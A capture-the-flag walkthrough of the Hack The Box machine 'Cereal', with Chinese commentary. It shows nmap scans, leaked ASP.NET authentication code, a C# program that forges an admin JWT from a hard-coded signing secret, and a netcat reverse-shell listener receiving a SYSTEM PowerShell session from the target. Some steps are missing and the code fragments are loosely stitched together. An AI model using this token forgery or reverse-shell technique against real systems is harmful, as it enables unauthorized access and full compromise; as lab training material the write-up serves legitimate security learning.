┌──(mikannse㉿kali)-[~/HTB/Cereal] └─$ sudo nmap --min-rate=10000 -p- 10.10.10.217 Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-09-29 16:42 CST Nmap scan report for 10.10.10.217 Host is up (0.088s latency). Not shown: 65532 filtered tcp ports (no-response) PORT STATE SERVICE 22/tcp open ssh 80/tcp open http 443/tcp open https
Nmap done: 1 IP address (1 host up) scanned in 13.63 seconds
┌──(mikannse㉿kali)-[~/HTB/Cereal] └─$ sudo nmap -sT -sC -sV -O -p22,80,443 10.10.10.217 Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-09-29 16:42 CST Nmap scan report for 10.10.10.217 Host is up (0.075s latency).
PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH for_Windows_7.7 (protocol 2.0) | ssh-hostkey: | 2048 08:8e:fe:04:8c:ad:6f:df:88:c7:f3:9a:c5:da:6d:ac (RSA) | 256 fb:f5:7b:a1:68:07:c0:7b:73:d2:ad:33:df:0a:fc:ac (ECDSA) |_ 256 cc:0e:70:ec:33:42:59:78:31:c0:4e:c2:a5:c9:0e:1e (ED25519) 80/tcp open http Microsoft IIS httpd 10.0 |_http-server-header: Microsoft-IIS/10.0 |_http-title: Did not follow redirect to https://10.10.10.217/ 443/tcp open ssl/http Microsoft IIS httpd 10.0 |_http-server-header: Microsoft-IIS/10.0 |_http-title: Cereal |_ssl-date: 2024-09-29T02:55:08+00:00; -5h48m11s from scanner time. | ssl-cert: Subject: commonName=cereal.htb | Subject Alternative Name: DNS:cereal.htb, DNS:source.cereal.htb | Not valid before: 2020-11-11T19:57:18 |_Not valid after: 2040-11-11T20:07:19 | tls-alpn: |_ http/1.1 Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port Device type: general purpose Running (JUST GUESSING): Microsoft Windows 2019 (88%) Aggressive OS guesses: Microsoft Windows Server 2019 (88%) No exact OS matches for host (test conditions non-ideal). Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results: |_clock-skew: -5h48m11s
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 24.30 seconds
[AllowAnonymous] [HttpPost("authenticate")] public IActionResult Authenticate([FromBody]AuthenticateModel model) { var user = _userService.Authenticate(model.Username, model.Password);
if (user == null) return BadRequest(new { message = "Username or password is incorrect" });
return Ok(user); } } }
public UsersController(IUserService userService):这是构造函数,它接收一个实现了IUserService接口的对象作为参数,并将其赋值给私有字段_userService
并且接受一个名为model的对象,该对象是从请求体中反序列化得到的
查看UserSerices.cs
using System; using System.Collections.Generic; using System.IdentityModel.Tokens.Jwt; using System.Linq; using System.Security.Claims; using System.Text; using Microsoft.Extensions.Options; using Microsoft.IdentityModel.Tokens; using Cereal.Models; using Cereal.Helpers;
namespaceCereal.Services { publicinterfaceIUserService { User Authenticate(string username, string password); }
publicclassUserService : IUserService { public User Authenticate(string username, string password) { using (var db = new CerealContext()) { var user = db.Users.Where(x => x.Username == username && x.Password == password).SingleOrDefault();
// return null if user not found if (user == null) returnnull;
// authentication successful so generate jwt token var tokenHandler = new JwtSecurityTokenHandler(); var key = Encoding.ASCII.GetBytes("****"); var tokenDescriptor = new SecurityTokenDescriptor { Subject = new ClaimsIdentity(new Claim[] { new Claim(ClaimTypes.Name, user.UserId.ToString()) }), Expires = DateTime.UtcNow.AddDays(7), SigningCredentials = new SigningCredentials(new SymmetricSecurityKey(key), SecurityAlgorithms.HmacSha256Signature) }; var token = tokenHandler.CreateToken(tokenDescriptor); user.Token = tokenHandler.WriteToken(token);
using System; using System.IdentityModel.Tokens.Jwt; using System.Security.Claims; using System.Text; using Microsoft.IdentityModel.Tokens;
publicclassGenerate { publicstaticvoidMain(string[] args) { var tokenHandler = new JwtSecurityTokenHandler(); var key = Encoding.ASCII.GetBytes("secretlhfIH&FY*#oysuflkhskjfhefesf"); var tokenDescriptor = new SecurityTokenDescriptor { Subject = new ClaimsIdentity(new Claim[] { new Claim(ClaimTypes.Name, "1") }), Expires = DateTime.UtcNow.AddDays(7), SigningCredentials = new SigningCredentials( new SymmetricSecurityKey(key), SecurityAlgorithms.HmacSha256Signature) };
var token = tokenHandler.CreateToken(tokenDescriptor); var jwt = tokenHandler.WriteToken(token); Console.WriteLine(jwt); } }
returnfetch('/users/authenticate', requestOptions) .then(handleResponse) .then(user => { // store user details and jwt token in local storage to keep user logged in between page refreshes localStorage.setItem('currentUser', JSON.stringify(user)); currentUserSubject.next(user);
return user; }); }
将用户的登录信息存储在localStorage,算是在客户端的一个存储少量数据的地方
在Modules中能找到用户模型:
using System; using System.Collections.Generic; using System.ComponentModel.DataAnnotations; using System.Linq; using System.Threading.Tasks;
using Microsoft.AspNetCore.Mvc; using Microsoft.AspNetCore.Authorization; using System.Linq; using Cereal.Models; using Cereal.Services; using Newtonsoft.Json; using System;
namespaceCereal.Controllers { [Authorize] [ApiController] [Route("[controller]")] publicclassRequestsController : ControllerBase { [HttpPost] public IActionResult Create([FromBody]Request request) { using (var db = new CerealContext()) { try { db.Add(request); db.SaveChanges(); } catch { return BadRequest(new { message = "Invalid request" }); } }
Windows 7 企业版 Windows 8.1 企业版 Windows 10 企业版 Windows 10 专业版 Windows Server 2008 R2 企业版 Windows Server 2012 数据中心 Windows Server 2016 标准版 重要提示: Juicy Potato 攻击不适用于 Windows 10 版本 1809 或更高版本;并且根本不适用于 Server2019!
┌──(mikannse㉿kali)-[~/HTB/Cereal] └─$ sudo nmap -sT -sC -sV -p10000 localhost Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-09-30 22:12 CST Nmap scan report for localhost (127.0.0.1) Host is up (0.000091s latency). Other addresses for localhost (not scanned): ::1
PORT STATE SERVICE VERSION 10000/tcp open http Microsoft IIS httpd 10.0 |_http-server-header: Microsoft-IIS/10.0 |_http-title: Cereal System Manager Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 42.60 seconds
┌──(mikannse㉿kali)-[~/HTB/Cereal] └─$ rlwrap -cAr nc -lvnp443 listening on [any] 443 ... connect to [10.10.14.29] from (UNKNOWN) [10.10.10.217] 51906 Windows PowerShell Copyright (C) Microsoft Corporation. All rights reserved.
PS C:\Windows\system32> whoami whoami nt authority\system